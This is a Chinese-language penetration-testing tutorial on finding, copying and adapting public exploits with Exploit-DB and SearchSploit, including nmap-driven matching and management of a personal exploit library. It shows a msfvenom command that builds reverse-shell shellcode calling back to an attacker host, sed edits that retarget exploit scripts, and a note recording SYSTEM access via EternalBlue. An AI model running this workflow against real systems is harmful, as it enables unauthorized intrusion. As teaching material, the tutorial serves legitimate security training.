目录

flowchart TB
    A[发现目标服务/版本] --> B{信息源}

    B --> C[CVE 编号]
    B --> D[Nmap 扫描结果]
    B --> E[已知服务+版本]
    B --> F[关键词]

    C --> G[searchsploit --cve CVE-XXXX]
    D --> H[searchsploit --nmap scan.xml]
    E --> I[searchsploit "apache 2.4.49"]
    F --> J[searchsploit -t "标题匹配"]

    G --> K[结果筛选]
    H --> K
    I --> K
    J --> K

    K --> L{是否适用?}
    L -->|查看代码| M[searchsploit -x EDB-ID]
    L -->|复制到本地| N[searchsploit -m EDB-ID]

    N --> O[修改参数<br/>配置LHOST/RHOST/PORT]
    O --> P[编译/运行 exploit]
    P --> Q[测试目标]

    style K fill:#e6a23c,color:#fff
    style O fill:#409eff,color:#fff
    style Q fill:#67c23a,color:#fff

一、Exploit-DB 与 SearchSploit 概述

Exploit-DB (https://www.exploit-db.com) 是 Offensive Security 维护的公开漏洞利用代码库,收录了数万个已验证的 exploit。SearchSploit 是 Exploit-DB 的命令行搜索工具,允许离线搜索完整的 exploit 数据库。

相关模块: Metasploit 框架 | IoT 利用 | 漏洞利用基础

安装:

sudo pacman -S exploitdb
# 或
sudo pacman -S exploit-db
 
searchsploit --version

SearchSploit 核心优势:

  • 完全离线搜索(无需互联网)
  • 正则表达式和标题精确匹配
  • 与 nmap 输出直接集成
  • 支持按 CVE、EDB-ID、平台等维度筛选

二、SearchSploit 基本操作

2.1 安装与更新

# 更新本地数据库(联网时执行)
searchsploit -u
 
# 查看已安装的 exploit 总数
searchsploit | tail -1

2.2 搜索语法

# 基本关键词搜索
searchsploit apache
 
# 精确标题搜索
searchsploit -t "Apache 2.4"          # 标题包含 "Apache 2.4"
searchsploit -t "WordPress"           # 标题精确匹配
 
# 区分大小写
searchsploit -c "Apache"
 
# 排除特定类型(如排除 DoS)
searchsploit apache --exclude="Denial of Service"
searchsploit samba --exclude="(DoS|dos)"
 
# 按平台筛选
searchsploit linux apache
searchsploit windows remote
searchsploit webapps joomla
 
# 仅显示 EDB-ID
searchsploit --id apache
 
# 彩色输出
searchsploit --colour apache

搜索输出示例:

-------------------------------------------------------------
 Exploit Title        |  Path
-------------------------------------------------------------
Apache 2.4.49 - Path Traversal | webapps/50383.py
Apache Struts 2 - Remote Code Execution | webapps/15462.py
-------------------------------------------------------------

2.3 查看与复制 Exploit

# 查看 exploit 内容(用 less 打开)
searchsploit -x 50383
searchsploit -x linux/remote/42060.py
 
# 显示完整路径
searchsploit -p 50383
 
# 复制到当前目录
searchsploit -m 50383
searchsploit -m linux/remote/42060.py

三、高级搜索策略

3.1 按 CVE 批量搜索

场景: 有多个 CVE 编号需要查找对应的 exploit。

# 单个 CVE 搜索
searchsploit --cve 2021-44228
 
# 批量搜索
cat > /tmp/cve_list << 'EOF'
2021-44228
2017-0144
2019-0708
2014-0160
2020-1472
EOF
 
while read cve; do
  echo "========== CVE-$cve =========="
  searchsploit --cve $cve 2>/dev/null
  echo ""
done < /tmp/cve_list
 
# 批量复制找到的 exploit
mkdir ~/exploits_found && cd ~/exploits_found
for cve in 2021-44228 2017-0144 2019-0708 2014-0160 2020-1472; do
  searchsploit --cve $cve --id 2>/dev/null | grep -oP 'exploits/.*?(?=\s+\|)' | \
  while read path; do
    echo "[*] 复制: $path"
    searchsploit -m "$path" 2>/dev/null
  done
done

3.2 从 Nmap 结果自动搜索

searchsploit 可以直接解析 nmap XML 输出,自动匹配已知漏洞:

# 执行完整扫描
nmap -sV -sC -p- -O 192.168.56.101 -oX /tmp/full_scan.xml
 
# 自动搜索匹配的 exploit
searchsploit --nmap /tmp/full_scan.xml
 
# 排除 DoS 类型,保留可利用的
searchsploit --nmap /tmp/full_scan.xml --exclude="(Denial of Service|DoS|dos)"
 
# 保存搜索结果
searchsploit --nmap /tmp/full_scan.xml > /tmp/potential_exploits.txt

--nmap 参数的工作原理:

  1. 解析 nmap XML 中的 <service> 标签
  2. 提取 productversionextrainfo 字段
  3. 在 Exploit-DB 中搜索匹配的记录
  4. 返回关联的 exploit 列表

3.3 精确服务版本搜索

场景: 已知目标运行 Apache 2.4.49,需要精确定位路径穿越漏洞。

# 在 Firefox 中直接搜索
# https://www.exploit-db.com/search?q=apache+2.4.49
 
# 在线搜索(在浏览器中打开)
searchsploit -w "apache 2.4.49"
 
# 终端精确定位
searchsploit -t "Apache 2.4.49"
searchsploit -t "Path Traversal" apache 2.4.49
 
# 查看详情
searchsploit -x 50383
 
# 复制并修改
searchsploit -m 50383
nano 50383.py
# 修改 TARGET_IP 等内容后执行

在 Firefox 中查阅 CVE 详情:

四、Exploit 代码审计与修改

在使用任何 exploit 之前,必须仔细审计代码:

审计要点:

  1. 确认 exploit 的目标平台和版本匹配
  2. 检查是否有硬编码的 IP/端口
  3. 验证 payload/shellcode 是否可控
  4. 确认 exploit 是否为 DoS 类型(可能导致目标崩溃)
  5. 检查是否需要依赖库(Python/Perl 导入模块)

修改 exploit 参数:

# 复制 exploit
searchsploit -m 42031
 
# 修改目标 IP
sed -i 's/192.168.1.1/192.168.56.101/g' 42031.py
sed -i 's/4444/9999/g' 42031.py
 
# 检查修改是否正确
grep -E "192.168|4444|9999" 42031.py

替换硬编码的 shellcode:

# 使用 msfvenom 重新生成 shellcode
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.56.1 LPORT=9999 \
  -f python -b '\x00\x0a\x0d' -v shellcode
 
# 将生成的 shellcode 变量替换到 exploit 中
# 在 exploit 代码中找到 shellcode 定义并替换

五、个人 Exploit 库管理

创建个人 exploit 库,便于在多次渗透测试中复用:

mkdir -p ~/my_exploits/{windows,linux,webapps}/{remote,local}
mkdir -p ~/my_exploits/modified     # 修改过的 exploit
mkdir -p ~/my_exploits/reports      # 测试报告

为每次成功的 exploit 做记录:

文件名: ~/my_exploits/reports/42031_report.txt

EDB-ID: 42031
目标: Windows 7 SP1 x64
漏洞: MS17-010 EternalBlue
测试日期: 2026-01-15
结果: 成功获取 SYSTEM 权限
备注: 需要修改 LHOST 参数为攻击机 IP

批量收集特定类型的 exploit:

# 收集所有 Windows 远程 exploit
searchsploit windows remote | grep -v "DoS" > ~/my_exploits/windows_remote_list.txt
 
# 收集所有 Linux 本地提权 exploit
searchsploit linux local privilege | grep -v "DoS" > ~/my_exploits/linux_priv_esc.txt

六、离线环境与受限场景

在没有互联网的测试环境中使用 searchsploit:

# 确保已更新本地数据库
searchsploit -u
 
# 获取 exploit 总数
searchsploit | tail -1
 
# 针对性搜索
searchsploit samba | grep remote
 
# 查看 exploit 头部信息以确认适用性
searchsploit -x linux/remote/42060.py
 
# 复制并执行
searchsploit -m linux/remote/42060.py
python3 42060.py $TARGET_IP

注意:

  • searchsploit 的本地数据库位于 /usr/share/exploitdb/
  • exploit 文件位于 /usr/share/exploitdb/exploits/
  • 定期执行 searchsploit -u 更新数据库以获取最新 exploit
  • 离线环境下无法使用 -w (web) 参数

七、命令速查表

命令说明
searchsploit -u更新本地数据库
searchsploit [关键词]基本搜索
searchsploit --cve [CVE编号]按 CVE 搜索
searchsploit -t "[标题]"精确标题搜索
searchsploit --exclude="Denial of Service" [关键词]排除 DoS
searchsploit -x [路径或EDB-ID]查看 exploit 内容
searchsploit -m [路径或EDB-ID]复制到当前目录
searchsploit -p [路径或EDB-ID]显示完整路径
searchsploit --nmap [scan.xml]Nmap 自动搜索
searchsploit -w [关键词]在浏览器中搜索
searchsploit -c [关键词]区分大小写
searchsploit --colour [关键词]彩色输出
searchsploit --id [关键词]仅显示 EDB-ID

Exploit-DB 和 SearchSploit 是渗透测试中漏洞匹配环节的核心工具。在确定目标服务版本后,快速定位可用的 exploit 是决定攻击成败的关键。审计 exploit 代码、修改参数适配目标环境、妥善管理个人 exploit 库,这些都是红队作战中反复用到的技能。

← 返回总目录